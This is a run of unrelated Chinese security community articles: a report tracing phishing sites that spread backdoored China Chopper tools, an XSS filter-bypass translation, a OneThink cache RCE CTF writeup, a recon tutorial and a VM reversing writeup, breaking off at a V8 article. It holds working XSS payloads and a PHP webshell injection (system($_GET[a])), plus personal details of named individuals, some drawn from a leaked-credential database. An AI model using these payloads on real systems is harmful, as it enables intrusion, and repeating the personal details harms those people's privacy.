更多社工就此打住，贴个天眼的可视化关联平台里的关系图来总结一下[www.maicaidao.cc这个钓鱼站。](http://www.maicaidao.cc%E8%BF%99%E4%B8%AA%E9%92%93%E9%B1%BC%E7%AB%99%E3%80%82)
**guogoucaidao.com钓鱼站溯源**
http://www.guogoucaidao.com这个钓鱼站的主打是“最新专版过狗菜刀，过目前最新版V3.4.09060安全狗！”，在该钓鱼站的第二篇文章（http://www.guogoucaidao.com/?post=2）有所谓的过狗菜刀下载链接（http://www.guogoucaidao.com/content/uploadfile/201509/1cae1442556699.rar），但这个链接的中国菜刀是含有后门的，经分析后门地址为s.anylm.com。
通过whois信息，发现站长的邮箱为[email protected]，1296444813这个QQ号在搜索引擎中有不少记录，包括为暗影联盟站长的身份，后门地址s.anylm.com也正好是暗影联盟的拼音。
通过百度贴吧，可见其“出售刷钻平台ok”的ID，在该ID下有不少关注的贴吧，其中几个都是独立创建的，还曾做过卡盟供货商，在搜索引擎中还能找到暗影卡盟的相关信息。
在某个社工库里，我们找到了这个QQ号背后的邮箱132****[email protected]及密码。顺着这条线索，找到了更多身份信息。
在某商城发现了其购买“黑客攻防入门与进阶（附赠DVD-ROM光盘1张）”的订单记录。
通过132****5891这个手机号能够找到通过实名验证的支付宝账号。
好了，更多的东西就不再深入了，感兴趣的同学们可以继续深挖。用一张天眼的可视化关联平台里的关系图来结束此次追溯之旅。
**tophack.net钓鱼站追踪及溯源**
在分析一个后门地址为43.249.11.189的 IP服务器的时候，汇总了以下三个带后门的中国菜刀的下载地址：
http://1pl38.com/chopper.zip
http://tophack.net/chopper.zip
http://aspmuma.net/chopper.zip
其中tophack.net的whois信息显示站长的QQ号为595845736，其信息如下：
比较高调的一个小黑客，在QQ空间中还有留有入侵网站的截图。
通过搜索引擎，能找到好多关于这个QQ号的负面评价。
这些信息表明，该QQ号主人在2011年就已经从事黑产相关的违法交易，行事高调且声誉不好。另外，QQ签名显示，目前正在做“鸿發棋牌”在线赌博平台。
棋牌游戏的推广，也是离不开SEO的，从某搜索引擎结果来看，“鸿發棋牌”的排名还是比较靠前的。
通过websiteinformer.com可以查到早在2012年7月就冒充菜刀官网。
通过WHOIS域名查询得知该QQ邮箱对应的其他域名如下图。
对域名注册者进行反查结果如下图域名。
通过域名来看，基本上都和黑产、黑客相关。
**www.caidaomei.com钓鱼站追踪及溯源**
www.caidaomei.com这个站的主打有“最新xise菜刀寄生虫破解版vip版(过狗)”、“红色版中国菜刀(20141213)正式发布
过狗红色菜刀”、“最新提权免杀asp木马,不死复活僵尸木马”和“最新过狗菜刀下载”，但经分析，该站所有的Webshell管理工具都存在后门。比如“xise菜刀寄生虫破解版”，就存在“jsc.dat”后门——因为“xise菜刀”的默认数据库文件名为“jsc.mdb”，和中国菜刀的“db.tmp”后门异曲同工。
文件MD5: 5bb4f15f29c613eff7d8f86b7bcc94c1
不仅如此，该站菜刀后门的箱子数量也十分可观，我们从后门地址共提取了194个后门箱子共计75166条Webshell，消重后仍有18613条Webshell，平均每个后门箱子中有96条Webshell。
在分析样本时，发现一个特殊的样本（fe2a29ac3cae173916be42db7f2f91ef），疑似做测试的。
通过Whois查询，demo.heimaoboke.com的站长QQ为408888540。
通过搜索引擎，可以找到QQ408888540的在网易lofter上面的blog空间，在该空间中，存在大量的xise菜刀及黑帽SEO的介绍。
其中一篇文章就是介绍Webshell箱子（菜刀后门）的，可以按需订制，并提供相应的售后技术支持，就是不知道这个所谓的后门还会不会有个后门。
QQ号信息如下图。
进入其QQ空间，可见黑帽SEO案例的操作结果截图。
通过搜索引擎，能够找到其在百度网盘的分享信息。
还有私密分享，但没有提取密码，不知道共享的是什么文件。
由于这个QQ号是个小号，未能有更多的社工信息，就此打住，用张天眼的可视化关联平台里的关系图来结束此次溯源。
**写在最后**
讲了这么多中国菜刀及其相关的后门，总结下来，还是一个“利”字。有的人为让自己的网站有更多的流量，不惜入侵他人网站使用非法手段来提升排名和流量。本篇文章从挖出线索、汇总、整理、再挖再汇再整，时间跨度了几个月，中间也因为有其它优先级更高的事情及过农历新年影响了进度，今天终于与大家见面了。再预告一下，天眼安全实验室接下来将会放一篇更重磅的报告出来，敬请关注。另外，360天眼安全实验室还在招人，要求扎实的二进制逆向分析基础，有恶意代码分析经验最好，同时我们现在还需要后台开发，要求熟悉大数据平台，能够利用现成框架快速搭建数据流程，感兴趣的请发简历到[email protected]。在天眼安全实验室，数据会让你有不同的眼界。
**附录**
收集整理的样本相关数据，可以作为IOC使用。
样本MD5：
0213fef968a77e5cd628aca6a269d9bd
02ca1b36b652c582940e6ae6d94a6934
066f696d49ee8c67be0c3810af46faf1
0785ec81048ad5508956e97360ac322f
0bbcae2af8499a1935f66e4f3cf0cb69
0cdcd9834be42a24feed91dc52b273c7
0de40d8e66b1c3bd12f1a68f9914b60b
126bc9e60f0aaac0bf831dfee1be7326
16151ad243a6f3b9d2fae4a3d91e8007
19e3e3249dc3357ccfa6151049cd1854
1dac878c4a6bddd4194d627bb57d6d58
23940b1b3ff3509933a6fbd46e25c162
23d21fcef3ab3d690b2325979f44d150
2aef1877a28758ba3d78adc65d2ec3db
33b858d1a17a34d7d9676ab80242ccc6
368539bfea931a616489df15e7c1d79c
3923331de81cd5d4c5abe2f8448c25a9
3c40b58ac7eea158f2fa956545e4eee2
46a5e5c94cb5f5b39069cff4f9ba3843
5a6b933b5054efa25141e479be390a37
5ebc970c321b839aab5e2aac73039654
5f2623fecfa77dfca3f3336cee1732fe
5f83eaae01aa1b138061b89aa5374478
63a2c5650b6babd2214e29a1d83e6f98
6c5290651f4b8b188037b2d357ea87cb
8644b075c9de6749e5b3ce20c3348be3
87634adbbf10d6595845dc50ace9d672
88b9059aafa832f0d83b371a34a46506
892cacd515ce684fecf69983c87dbbf1
8fca2f54b4107df7b046c166ed42a3e6
91167748ef09c91cb0047ccd465e1370
918d90cd43bd8c121144e572b1542e21
a1f26b69cee65dfe1cb91a7be2aea6a2
a3e4b1f5661e51b3b5bdc4cae9de6921
aa613662fe3c8cd108c6f7a104e75826
b037871f8a69f5b094dcb6f3b3986bd0
b439239568da85104308fa5b0588eb31
b56b4507a1182356e607c433d9a3a5d9
c00456ba818d78132aaf576f7068e291
c72a397fcc273b272254bb1dea0fd045
cd37fba00631a4a91dfb1239235abe0c
d7383f26d56e6a21a0334ac7eb4ccf8a
d7f7411951e4d4f678f27424c0c21ecd
e3fec98250cdd9cefa9c00b0d782775b
e447b5b56c0caaa51cc623d64dc275d9
e81aa81815e94dff6de0cb1efe48383a
ee39bf504cb66cd22a5c2ce96c922f12
f13c045a7a952e44877bf3f05f2faa8c
f2156701935f78c0ca6d610f518f4f37
f54291227bec8fb1c7013efba8dc9906
f90abd7f720a95d2999f29dbc8d45409
fb5e9c43062a1528ea9cd801c4c6d0b3
fe0720b465fcde0af7ca0b8dc103bc47
fe2a29ac3cae173916be42db7f2f91ef
**后门收信地址：**
http://122.10.82.29/cc.asp
http://1pl38.com/
http://9128.cc/update1111/index.asp
http://aspmuma.net/
http://baidu.myth321.com/baidu/index.asp
http://boos.my.to/caida
http://caidao.guoanquangouma.com/xy.asp
http://cd.myth321.com/index.asp
http://cpin.g.xyz./db.asp
http://dema.gjseo.net/db.asp
http://demo.888p.org/inex.asp
http://demo.asphxg.cn/xg.asp
http://demo.gjseo.net/db.asp
http://demo.gpzd8.com/xg.asp
http://demo.heimaoboke.com/96cn.asp
http://demo.heimaoboke.com/index.asp
http://demo.hmseo.org/db.asp
http://dns.haotianlong.com/index.asp
http://jsc.i06.com.cn/www.asp
http://pkpxs.com/index.asp
http://s.anylm.com/anying/index.asp
http://tophack.net/
http://www.0744m2.com/index1.asp
http://www.668168.xyz/1index.asp
http://www.gnrgs.cn/webshell.asp
http://www.histtay.com/index.asp
http://www.huaidan98.com/cd/index.asp
http://www.jpwking.com/index.asp
http://www.weblinux.xyz/
http://www.zgcaid.com/index.asp
相关阅读
http://huaidan.org/archives/3472.html 简评黑客利器——中国菜刀
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html Breaking Down the China Chopper Web Shell – Part
I
https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html Breaking Down the China Chopper Web Shell –
Part II
http://www.freebuf.com/tools/54178.html 强大的网站管理软件 – 中国菜刀20141213新版发布
http://zt.360.cn/1101061855.php?dtid=1101062368&did=1101536490 2015年中国网站安全报告 | 社区文章 |
# 无需括号与分号的XSS
##### 译文声明
本文是翻译文章，文章原作者 portswigger，文章来源：portswigger.net
原文地址：<https://portswigger.net/blog/xss-without-parentheses-and-semi-colons>
译文仅供参考，具体内容表达以及含义原文为准。
几年前，我发现了一种技术，它可以使用`onerror`和`throw`语句，在JavaScript中调用函数而无需括号。它的工作原理是将`onerror`处理程序设置为您要调用的函数，并使用`throw`语句将参数传递给函数：
<script>onerror=alert;throw 1337</script>
在每次JavaScript出现异常时都会调用`onerror`处理程序，然后`throw`语句允许您创建一个自定义异常，该异常包含一个发送到`onerror`处理程序的表达式。因为`throw`是一个语句，所以通常需要在`onerror`赋值后加上一个分号以开始一个新的语句，而不是形成一个表达式。
我曾遇到过一个过滤括号和分号的网站，我认为它肯定能够使用这种技术来执行一个没有分号的函数。第一种方法非常简单：您可以使用大括号来形成一个块语句，在这个语句中您有一个`onerror`可赋值。在块语句之后，您可以使用不带分号（或新的行内）的`throw`：
<script>{onerror=alert}throw 1337</script>
块语句很好，但我想要一个更好的选择。有趣的是，因为`throw`语句接受一个表达式，所以你可以在`throw`语句中执行`onerror`赋值，并且因为表达式的最后一部分被发送到`onerror`处理程序，所以将使用所选参数调用该函数。以下是它的工作原理：
<script>throw onerror=alert,'some string',123,'haha'</script>
如果您已尝试运行代码，你将会注意到Chrome使用”Uncaught”作为将发送到异常处理程序字符串的前缀。
在我之前的博客文章中，我展示了如何使用eval作为异常处理程序并执行字符串。我们来回顾一下，你可以在字符串前加上一个`=`，然后将’Uncaught’字符串变成一个变量并执行任意JavaScript。例如：
<script>{onerror=eval}throw'=alertx281337x29'</script>
发送到eval的字符串是”Uncaught=alert(1337)”。这在Chrome上工作正常，但在Firefox上，异常会以两个字符串”uncaught
exception”作为前缀，这当然会在执行时导致语法错误。我开始寻找方法。
值得注意的是，当我在控制台执行`throw`时，`onerror/throw`的技巧并不能奏效。这是因为当throw在控制台中执行语句时，结果将发送到控制台而不是异常处理程序。
当你使用Error函数在Firefox中创建异常处理时，它将不会包含前缀”uncaught exception”，而只会回显字符串”Error”：
throw new Error("My message")//Error: My message
我显然无法直接调用Error函数，因为它需要括号，但我想如果我使用带有Error原型的对象也许能达到一样的效果。但是这并不起作用 –
Firefox仍然使用相同的字符串作为前缀。然后我使用Hackability
Inspector检查Error对象以查看它具有的属性。我将所有属性添加到对象中，终于它奏效了！然后我一个接一个地删除属性，直到找到了所需的最小属性集：
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alertx281x29'}</script>
您也可以使用fileName属性在Firefox上发送第二个参数：
<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>
当我在Twitter上发布了这个技巧后，[@terjanq](https://github.com/terjanq
"@terjanq")和[@cgvwzq](https://github.com/cgvwzq "@cgvwzq")（Pepe
Vila）紧接着发布了一些很酷的操作，例如[@terjanq](https://github.com/terjanq
"@terjanq")删除所有字符串文字：
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
除此之外，通过使用类型错误将字符串发送到异常处理程序，Pepe完全删除了对throw语句的需要。
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script> | 社区文章 |
# OneThink1.0文件缓存漏洞分析及题目复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
最近的极客巅峰CTF中碰到了这个漏洞的实际利用:
一开始陷入了僵局，还以为是ueditor的文件上传，绕了半天，结果凉凉：
首先访问题目页面，发现是一个OneThink1.0的CMS：
上网站扫描器进行目录扫描和源码泄露扫描，发现存在源码泄露的压缩包www.zip：
## 0x02 分析
源码下载之后，拖入Seay源码审计工具中分析上述的缓存漏洞是否存在：
首先查看源码中定义的缓存文件路径配置信息，在`ThinkPHP/ThinkPHP.php`中对`TEMP_PATH`定义为`Runtime/Temp`：
在`ThinkPHP/Conf/convenion.php`中同时定义了`DATA_CACHE_PATH`也为`Runtime/Temp`:
在`Think/Cache/Driver/File.class.php`中构造函数定义了File缓存类的`options['temp']`为`DATA_CACHE_PATH`，因此File缓存类的存放路径在`Runtime/Temp/`
在File缓存类中定义了设置缓存的set函数，在该函数中，一开始定义了`$filename`是`filename($name)`的返回结果，并且通过`file_put_contents`函数将缓存内容写入`$filename`路径的文件中，如下：
这个类中的`filename`函数定义如下：
其中的FIle类的`options['prefix']`为全局设置的空值’’：
另外，由于`DATA_CACHE_SUBDIR`配置中设置为`false`，因此`filename`中会进入else分支，最后$file为`空+$name+.php`
其中`$name`是`onethink_+md5(md5($name参数))`
所以`filename`函数最后返回内容是：
Runtime/Temp/onethink_+md5(md5($name参数))
而set函数中调用时，传入的`$name`和`$value`参数也来自set函数被调用时的参数，而传入的`$value`经过serialize序列化函数进行处理后赋值`$data`，并最终作为写入内容
另外注意到：在写入前`$data`做了字符拼接，并且前面的字符`<?phpn//`格外引人注目，这里要注意//注释符号，后面会解释这一点。
通过调用查询，在`ThinkPHP/Mode/Api/functions.php`中定义的缓存函数S中使用了File缓存类的set函数，其中`$name`和`$value`又是来自调用上层的传参`$name`和`$value`：
继续回溯查询S被调用的情况，在`Appalication/Common/Api/UserApi.class.php`中，发现`get_username`函数逻辑中调用了S函数，并且传参`"sys_active_user_list"`和`$list`。
$list
的内容是通过从数据库查询uid返回的用户信息中，提取第二项拿到的，既
nickname
所以此处调用S函数，会写入临时文件：
onethink_md5(md5("sys_active_user_list"))
既内容为
onethine_d403acece4ebce56a3a4237340fbbe70
内容是用户的nickname。
仍然继续回溯get_username()函数的调用情况，定位到`Application/Home/Model/MemberModel.class.php`模型文件中的autoLogin函数和login函数：
分析上面两个函数，login函数将传入的uid进行判断，如果是已注册的用户，则前面的判断分支全部跳过，直接调用了autoLogin函数，并且将数据库查询结果`find($uid)`的用户信息返回结果作为`$user`进行传参。
在autoLogin函数中将`$user`中的`uid`一项继续传入上面介绍过的`get_username()`函数。
这样，这个逻辑的代码层面已经走过一遍了。在用户登录后的逻辑执行中，将用户的用户名作为缓存项写入了`Runtime/Temp`中的临时文件中，并且对用户名没有做任何的过滤和转义。如果缓存文件存在访问权限，可以导致代码执行以及GetShell。
## 0x03 利用
首先利用该漏洞尝试执行phpinfo。
注册用户`%0aphpinfo();#`
其中`%0a`是让用户名在缓存文件中以新的一行开始（前面分析代码时提到`$data`会和前面的`<?phpn//`拼接，这里是防止被`//`注释），而#注释符则让之后序列化产生的字符失效，防止影响函数执行。
提交注册，通过Burpsuit进行拦截，这里将`%0a`进行url编码解码，成为换行符
将数据包放行后，用户注册成功，进入登录界面进行登录：
同样进行抓包拦截，修改%0a后放行：
payload用户登录成功，接下来访问缓存页面
发现成功执行phpinfo()！
在本地搭建同样环境后测试，发现缓存文件中内容如下：
同样的方法向缓存文件中写入代码执行：
%0a$a=$_GET[a];#
%0asystem($a);#
最后，感谢阅读(#^.^#)
审核人：yiwang 编辑：边边 | 社区文章 |
## Asset Discovery: Doing Reconnaissance the Hard Way
第一次翻译文章，如有错误的地方，希望各位能够指正(Ths)
原文链接：<https://0xpatrik.com/asset-discovery/>
在这篇文章中，我想概括和讨论一个发现某个特定实体（企业，大学......）资产的框架。什么时候有用？
> 渗透测试 - 您拥有一个非常广泛的评估范围。您的第一个目标是找到机器和服务出现的漏洞。
>
> Bug赏金狩猎 - 与上面的一样。一些bug赏金程序没有明确列出所有目标(只是简单的给出域名)。你经常需要自己做。
>
> 定期“检查” - 有时，公司将服务和应用程序暴露在互联网上。这些服务通常不会更新，可能包含公共漏洞，或者应用程序不应被公开
### 域名
简单地说;
域名代表Internet上IP地址的一些标签。因为公司将他们的基础设施迁移到云端，我们需要“像大海捞针般寻找公司的服务器”。然而，域名提供某种到IP地址的链接。
我们的目标是查找/关联我们感兴趣的单个实体所拥有的所有域名。我们将逐步实现垂直和水平域名相关。在下文中，单词目标表示相关过程中感兴趣的实体。
垂直域名相关 - 给定域名，垂直域名相关是查找域名共享相同基础域名的过程。此过程也称为子域名枚举
[1](https://is.muni.cz/th/byrdn/Thesis.pdf)。
水平域名关联 -给定域名，水平域名关联是查找其他域名的过程，这些域名具有不同的二级域名但是连接相同的实体[1](https://is.muni.cz/th/byrdn/Thesis.pdf)。
为了演示，我选择了eff.org作为目标。
#### 步骤1： 在eff.org上执行垂直域名关联
这可以使用[Sublist3r](https://github.com/aboul3la/Sublist3r)，[amass](https://github.com/caffix/amass)或[aquatone](https://github.com/michenriksen/aquatone)等工具实现。请注意，有许多用于子域名枚举的开源工具，它们提供的结果很差。
根据我的经验，最好使用“meta-subdomain枚举”，它结合了多个枚举服务（如上面提到的工具）的结果。
Sublist3r的样本（剥离）输出
...
observatory.eff.org
observatory6.eff.org
observatory7.eff.org
office.eff.org
outage.eff.org
owncloud.eff.org
panopticlick.eff.org
projects.eff.org
push.eff.org
redmine.eff.org
robin.eff.org
s.eff.org
...
#### 第2步： 在eff.org上执行水平域名关联
这一步有点棘手。首先，让我们考虑一下。我们不能像上一步那样依赖语法匹配。潜在地，`abcabcabc.com`和`cbacbacba.com`可以由同一实体拥有。
但是，它们在语法上不匹配。为此，我们可以使用WHOIS数据。有一些反向WHOIS服务允许您根据WHOIS数据库的共同价值进行搜索。让我们查询eff.org的WHOIS:
如您所见，一封电子邮件发给了注册人。现在，我们可以进行反向WHOIS搜索，使用相同的注册人电子邮件显示其他域名：
对于反向WHOIS，我使用了[viewdns.info](https://viewdns.info/reversewhois/)服务。诸如[domlink](https://github.com/vysecurity/DomLink)或[amass](https://github.com/caffix/amass)之类的工具也可用于水平域名的查询。
#### 步骤3： 迭代
在此阶段，您应该拥有与目标相关联的相当广泛的域名列表。
**IP地址** 如果幸运的话，您的目标将拥有专用的IP地址范围。最简单的检查方法是在从域名中找到的三个IP地址上运行IP到ASN的转换：
**eff.org：**
$ dig a eff.org +short
69.50.232.54
$ whois -h whois.cymru.com 69.50.232.54
AS | IP | AS Name
13332 | 69.50.232.54 | HYPEENT-SJ - Hype Enterprises, US
**certbot.eff.org：**
$ dig a certbot.eff.org +short
lb5.eff.org.
173.239.79.196
$ whois -h whois.cymru.com 173.239.79.196
AS | IP | AS Name
32354 | 173.239.79.196 | UNWIRED - Unwired, US
**falcon.eff.org：**
$ dig a falcon.eff.org +short
mail2.eff.org.
173.239.79.204
$ whois -h whois.cymru.com 173.239.79.204
AS | IP | AS Name
32354 | 173.239.79.204 | UNWIRED - Unwired, US
在这种情况下，似乎EFF.org没有专门的IP空间（我们可能会认为它是UNWIRED，但它很可能也会覆盖其他实体）。举个例子，我们来看看谷歌：
$ dig a google.com +short
mail2.eff.org.
173.239.79.204
$ whois -h whois.cymru.com 216.58.210.14
AS | IP | AS Name
15169 | 216.58.210.14| GOOGLE - Google LLC, US
正如你看到的这样，Google在[AS15169](https://bgpview.io/asn/15169)上运行（这是他们的AS之一）。
拥有专用IP范围可以使事情变得更轻松：我们知道公司拥有AS中列出的IP范围。使用此信息，我们可以从CIDR表示法编译IP地址列表。
如果目标没有专用空间，我们将需要依赖上一步中编译的域名。从这些，我们将解析IP地址。即使目标具有专用IP范围，我也建议您按照以下流程进行操作。部分基础架构很可能已在云端运行。
请注意，使用此方法很可能出现误报。您的目标可能使用共享托管，例如，用于登录页面。该主机的IP地址将包含在您的列表中。但是，此地址并非专用于您的目标。
对于此上下文中的DNS解析，我建议使用massdns，它会将已编译到列表中的域名解析为其相应A记录中的IP地址：
./massdns -r lists/resolvers.txt -t A -q -o S domains.txt
| awk '{split($0,a," "); print a[3]}'
| sort
| uniq
这将生成与目标的FQDN对应的IP地址列表。然后，您可以将此结果集附加到CIDR块（如果有）的IP地址。
在此阶段，您应该有一个链接到目标的IP地址列表。
### 服务
收集域名和IP地址的原因是为了寻找哪些服务（应用程序）把漏洞暴露给Internet上的攻击者。因此，我们需要扫描主机进行查询。
我们有两种选择：
> 主动扫描 -> 传统的nmap方法。对于大量主机，我也建议使用masscan。主动扫描更耗时，并且可能触发公开面临的IDS。但是，您可以获得打开服务的最准确表示。
>
> 被动扫描 - 依赖从其他来源收集的数据。这些来源包括例如Shodan或Censys。缺点是结果可能会持续数天，某些服务可能已经关闭。
>
> 另一方面，您没有直接连接到目标网络。在进行APT模拟时，这种“秘密”模式通常是首选。你需要在新鲜感和积极性之间找到平衡点。
Shodan为此提供了非常好的 **dorks** 。我们可以像这样搜索指定的IP范围：
net:64.233.160.0/19
更好的是，我们可以根据WHOIS数据库中的组织进行过滤：
org:"Google"
请注意，此搜索还包括`“Google Cloud”，“Google Fiber”`等，它们不属于`AS15169`。我还没有成功过滤`“Google”`。
Censys提供了几乎相同的功能：
ip:64.233.160.0/19
对于组织/ ASN过滤器：
autonomous_system.asn:15169
要么
autonomous_system.organization:"Google Inc."
有关Censys的完整教程，请查看我的[其他帖子](https://0xpatrik.com/censys-guide/)。
对于完全隐藏模式，您可以使用[Project Sonar](https://0xpatrik.com/project-sonar-guide/)检索从域名到开放端口的所有内容。
### 整理信息
此时，您应该在整理一下思路。您实现它的过程看起来像这样：
最终收集的信息应包含目标的IP地址以及端口。
您仍然可以执行后处理任务以快速显示最有趣的服务。例如，您可以运行大量网站截图工具，例如[Snapper](https://github.com/dxa4481/Snapper)，它将提供在一个地方运行网站的绝佳概述。对于VNC或RDP可以获得类似的结果（[EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness)是瑞士军刀）。
**其他资源：**
[spyonweb.com](http://spyonweb.com/)
[domain_analyzer](https://github.com/eldraco/domain_analyzer)
[VHostScan](https://github.com/codingo/VHostScan)
[fierce](https://github.com/davidpepper/fierce-domain-scanner)
[domain-profiler](https://github.com/jpf/domain-profiler)
[zonemaster](https://github.com/zonemaster/zonemaster)
[Visual Recon](https://blog.it-securityguard.com/visual-recon-a-beginners-guide/) | 社区文章 |
# 羊城杯2021-EasyVM
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.初次分析
IDA打开：
看到这种情况，大致可以确实代码会在运行的自修改。
代码自修改函数
这里大致有2种方法来得到解密后的代码，一个是动态运行后dump下来，一个是根据自修改函数写idapython来修改，我这里选择的是dump（懒狗是这样的）。
## 2.动态调试dump代码
未修改前：
修改后：
可以看到第一个机器码从0x86变为0x55，而0x55的汇编是push ebp。
通过IDA分析此函数的地址范围是0x80487A8~0x8048F44。
输入命令 **dump memory 保存路径 0x80487a8 0x8048f44** dump下代码。
## 3.分析dump代码
利用idapython修改分析机器码
修改前
修改后
可以看到虚拟机的op_code的对应操作。
## 4.虚拟机分析
虚拟机初始化
为了后面更好的分析虚拟机的操作，这里定义一些寄存器。
v1[1]:rax; v1[2]:rbx; v1[3]:rdx; v1[4]:rex; v1[5]:rfx; v1[9]:rcx;
首先确定运行时会用到的指令，利用IDApython。这里代码贴一部分。
然后根据指令来分析相应的汇编。(no表示不会用到)
洗出汇编代码
**part1(input[0x0~0x1f])**
read input
mov rax,input[0x0]
mov rcx,0x7B
xor rax,rcx
cmp 0x4a,rax
mov rax,input[0x1]
mov rcx,0x2F
xor rax,rcx
cmp 0x19,rax
mov rax,input[0x2]
mov rcx,0xE8
xor rax,rcx
cmp 0xdd,rax
mov rax,input[0x3]
mov rcx,0x37
xor rax,rcx
cmp 0xf,rax
mov rax,input[0x4]
mov rcx,0x2F
xor rax,rcx
cmp 0x1b,rax
mov rax,input[0x5]
mov rcx,0xE8
xor rax,rcx
cmp 0x89,rax
mov rax,input[0x6]
mov rcx,0x7B
xor rax,rcx
cmp 0x19,rax
mov rax,input[0x7]
mov rcx,0x37
xor rax,rcx
cmp 0x54,rax
mov rax,input[0x8]
mov rcx,0x7B
xor rax,rcx
cmp 0x4f,rax
mov rax,input[0x9]
mov rcx,0x7B
xor rax,rcx
cmp 0x4e,rax
mov rax,input[0xa]
mov rcx,0x37
xor rax,rcx
cmp 0x55,rax
mov rax,input[0xb]
mov rcx,0x37
xor rax,rcx
cmp 0x56,rax
mov rax,input[0xc]
mov rcx,0xE8
xor rax,rcx
cmp 0x8e,rax
mov rax,input[0xd]
mov rcx,0x2F
xor rax,rcx
cmp 0x49,rax
mov rax,input[0xe]
mov rcx,0x37
xor rax,rcx
cmp 0xe,rax
mov rax,input[0xf]
mov rcx,0x7B
xor rax,rcx
cmp 0x4b,rax
mov rax,input[0x10]
mov rcx,0x37
xor rax,rcx
cmp 0x6,rax
mov rax,input[0x11]
mov rcx,0x37
xor rax,rcx
cmp 0x54,rax
mov rax,input[0x12]
mov rcx,0x2F
xor rax,rcx
cmp 0x1a,rax
mov rax,input[0x13]
mov rcx,0x7B
xor rax,rcx
cmp 0x42,rax
mov rax,input[0x14]
mov rcx,0x37
xor rax,rcx
cmp 0x53,rax
mov rax,input[0x15]
mov rcx,0x7B
xor rax,rcx
cmp 0x1f,rax
mov rax,input[0x16]
mov rcx,0x37
xor rax,rcx
cmp 0x52,rax
mov rax,input[0x17]
mov rcx,0xE8
xor rax,rcx
cmp 0xdb,rax
mov rax,input[0x18]
mov rcx,0x7B
xor rax,rcx
cmp 0x19,rax
mov rax,input[0x19]
mov rcx,0xE8
xor rax,rcx
cmp 0xd9,rax
mov rax,input[0x1a]
mov rcx,0x7B
xor rax,rcx
cmp 0x19,rax
mov rax,input[0x1b]
mov rcx,0x37
xor rax,rcx
cmp 0x55,rax
mov rax,input[0x1c]
mov rcx,0x2F
xor rax,rcx
cmp 0x19,rax
mov rax,input[0x1d]
mov rcx,0x37
xor rax,rcx
cmp 0x0,rax
mov rax,input[0x1e]
mov rcx,0x7B
xor rax,rcx
cmp 0x4b,rax
mov rax,input[0x1f]
mov rcx,0x2F
xor rax,rcx
cmp 0x1e,rax
**part2(input[0x20~0x23])**
mov rax,input[0x20]
mov rbx,0x18
shl rax,rbx
mov rcx,rax
mov rax,input[0x21]
mov rbx,0x10
shl rax,rbx
add rcx,rax
mov rax,input[0x22]
mov rbx,0x8
shl rax,rbx
add rcx,rax
mov rax,input[0x23]
add rcx,rax
mov rax,rcx
mov rbx,0x5
shr rax,rbx
xor rax,rcx
mov rcx,rax
mov rbx,0x7
shl rax,rbx
mov rbx,0x98f17723
and rax,rbx
xor rax,rcx
mov rcx,rax
mov rbx,0x18
shl rax,rbx
mov rbx,0x35e4b920
and rax,rbx
xor rax,rcx
mov rcx,rax
mov rbx,0x12
shr rax,rbx
xor rax,rcx
cmp rax,0x6febf967
**part3(input[0x24~0x27],input[0x28~0x2b])**
mov rax,input[0x24]
mov rbx,0x18
shl rax,rbx
mov rcx,rax
mov rax,input[0x25]
mov rbx,0x10
shl rax,rbx
add rcx,rax
mov rax,input[0x26]
mov rbx,0x8
shl rax,rbx
add rcx,rax
mov rax,input[0x27]
add rcx,rax
mov rax,rcx
mov rdx,0x20
mul rax,rdx
mov rex,rax
xor rax,rcx
mov rbx,0x11
shr rax,rbx
mov rfx,rax
mov rax,rfx
xor rax,rex
xor rax,rcx
mov rbx,0xd
shl rax,rbx
xor rax,rcx
xor rax,rex
xor rax,rfx
mov rcx,rax
mov rdx,0x20
mul rax,rdx
mov rex,rax
xor rax,rcx
mov rbx,0x11
shr rax,rbx
mov rfx,rax
mov rax,rfx
xor rax,rex
xor rax,rcx
mov rbx,0xd
shl rax,rbx
xor rax,rcx
xor rax,rex
xor rax,rfx
cmp 0xCF1304DC,rax
mov rax,input[0x28]
mov rbx,0x18
shl rax,rbx
mov rcx,rax
mov rax,input[0x29]
mov rbx,0x10
shl rax,rbx
add rcx,rax
mov rax,input[0x2a]
mov rbx,0x8
shl rax,rbx
add rcx,rax
mov rax,input[0x2b]
add rcx,rax
mov rax,rcx
mov rdx,0x20
mul rax,rdx
mov rex,rax
xor rax,rcx
mov rbx,0x11
shr rax,rbx
mov rfx,rax
mov rax,rfx
xor rax,rex
xor rax,rcx
mov rbx,0xd
shl rax,rbx
xor rax,rcx
xor rax,rex
xor rax,rfx
mov rcx,rax
mov rdx,0x20
mul rax,rdx
mov rex,rax
xor rax,rcx
mov rbx,0x11
shr rax,rbx
mov rfx,rax
mov rax,rfx
xor rax,rex
xor rax,rcx
mov rbx,0xd
shl rax,rbx
xor rax,rcx
xor rax,rex
xor rax,rfx
cmp 0x283B8E84,rax
end
把汇编翻译成高级语言
根据翻译出的代码来逆出正确输入。
input[0x0~0x1f]简单异或一下可以得到结果。
input[0x20~0x23]
input[0x24~0x27]
此处的逻辑为：
b^(b<<0xd)=cmp_data
a^(a>>0x11)=b
input^(input<<0x5)=a
利用python的z3求解来解决
最后求出字符串为：16584abc45baff901c59dde3b1bb6701a254b06cdc23
**第一次连续花12个小时来做一道题，又苦又快乐了属于是。** | 社区文章 |
# 《Chrome V8 源码》42. InterpreterEntryTrampoline 与优化编译
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
InterpreterEntryTrampoline 属于 V8 ignition，负责为 JSFunction
函数构建堆栈并执行该函数，也负责启动优化编译功能 Runtime_CompileOptimized_Concurrent。之前的文章讲过
InterpreterEntryTrampoline 与解释执行，而本文重点介绍 InterpreterEntryTrampoline 与
Runtime_CompileOptimized_Concurrent 之间的调用关系以及重要数据结构。
## 2 InterpreterEntryTrampoline 源码
源码如下：
1. void Builtins::Generate_InterpreterEntryTrampoline(MacroAssembler* masm) {
2. Register closure = rdi;
